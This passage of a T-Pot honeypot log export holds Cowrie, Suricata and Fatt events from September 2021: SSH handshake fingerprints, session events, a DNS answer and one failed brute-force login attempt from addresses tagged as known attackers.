28310	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:44.744594+03	2021-09-20 14:30:02.661555+03	{"_id": "cAbsAnwBvYTbRNuEMC0j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41614, "timestamp": "2021-09-20T11:16:44.744594", "@timestamp": "2021-09-20T11:16:44.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28311	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:16:45.186026+03	2021-09-20 14:30:02.662553+03	{"_id": "cwbsAnwBvYTbRNuEMC36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6ff31e874f87", "@version": "1", "timestamp": "2021-09-20T11:16:45.186026Z", "@timestamp": "2021-09-20T11:16:45.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28312	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:16:46.375943+03	2021-09-20 14:30:02.664553+03	{"_id": "eQbsAnwBvYTbRNuENC3j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [tester/1qaz2wsx] failed", "session": "6ff31e874f87", "@version": "1", "password": "1qaz2wsx", "username": "tester", "timestamp": "2021-09-20T11:16:46.375943Z", "@timestamp": "2021-09-20T11:16:46.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28313	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:42.873851+03	2021-09-20 14:30:02.665552+03	{"_id": "WAbsAnwBvYTbRNuEKS0o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "79061c1582ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:42.873851Z", "@timestamp": "2021-09-20T11:16:42.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28314	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:16:44.078632+03	2021-09-20 14:30:02.666553+03	{"_id": "WgbsAnwBvYTbRNuEKi32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 315922453243864, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42582, "dest_port": 22, "timestamp": "2021-09-20T11:16:44.078632Z", "@timestamp": "2021-09-20T11:16:44.078Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28315	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:43.520232+03	2021-09-20 14:30:02.667553+03	{"_id": "WwbsAnwBvYTbRNuELC06", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42582, "timestamp": "2021-09-20T11:16:43.520232", "@timestamp": "2021-09-20T11:16:43.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28316	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:16:44.743953+03	2021-09-20 14:30:02.669554+03	{"_id": "YgbsAnwBvYTbRNuELS0Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ec3b1abeaf3d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:44.743953Z", "@timestamp": "2021-09-20T11:16:44.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28317	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:16:44.781591+03	2021-09-20 14:30:02.670556+03	{"_id": "agbsAnwBvYTbRNuELS0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ec3b1abeaf3d", "@version": "1", "timestamp": "2021-09-20T11:16:44.781591Z", "@timestamp": "2021-09-20T11:16:44.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28318	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:16:44.781179+03	2021-09-20 14:30:02.671553+03	{"_id": "awbsAnwBvYTbRNuELi3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1804644017549976, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41614, "dest_port": 22, "timestamp": "2021-09-20T11:16:44.781179Z", "@timestamp": "2021-09-20T11:16:44.781Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28319	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:16:38.340968+03	2021-09-20 14:30:02.672554+03	{"_id": "QgbsAnwBvYTbRNuEFy1r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 610, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1648, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 887200347992050, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36783, "timestamp": "2021-09-20T11:16:38.340968Z", "@timestamp": "2021-09-20T11:16:38.340Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28320	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:16:38.45349+03	2021-09-20 14:30:02.674523+03	{"_id": "QwbsAnwBvYTbRNuEGC2v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35000, "timestamp": "2021-09-20T11:16:38.453490", "@timestamp": "2021-09-20T11:16:38.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28321	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:16:39.69932+03	2021-09-20 14:30:02.675524+03	{"_id": "RAbsAnwBvYTbRNuEGS2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b88334c40a44", "@version": "1", "duration": 2.304687023162842, "timestamp": "2021-09-20T11:16:39.699320Z", "@timestamp": "2021-09-20T11:16:39.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28322	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:16:40.245548+03	2021-09-20 14:30:02.677525+03	{"_id": "RQbsAnwBvYTbRNuEGy1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 507750724899215, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47018, "dest_port": 22, "timestamp": "2021-09-20T11:16:40.245548Z", "@timestamp": "2021-09-20T11:16:40.245Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28323	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:40.036816+03	2021-09-20 14:30:02.679554+03	{"_id": "RgbsAnwBvYTbRNuEHC2Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47018, "timestamp": "2021-09-20T11:16:40.036816", "@timestamp": "2021-09-20T11:16:40.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28324	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:40.034536+03	2021-09-20 14:30:02.680525+03	{"_id": "SQbsAnwBvYTbRNuEHS1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47018 (192.168.176.2:22) [session: 5a02d6f2dd58]", "session": "5a02d6f2dd58", "@version": "1", "protocol": "ssh", "src_port": 47018, "dest_port": 22, "timestamp": "2021-09-20T11:16:40.034536Z", "@timestamp": "2021-09-20T11:16:40.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28325	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:33.372793+03	2021-09-20 14:30:02.681524+03	{"_id": "BAbsAnwBvYTbRNuEAS07", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56372, "timestamp": "2021-09-20T11:16:33.372793", "@timestamp": "2021-09-20T11:16:33.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28326	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:16:33.655097+03	2021-09-20 14:30:02.682524+03	{"_id": "BQbsAnwBvYTbRNuEAi0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 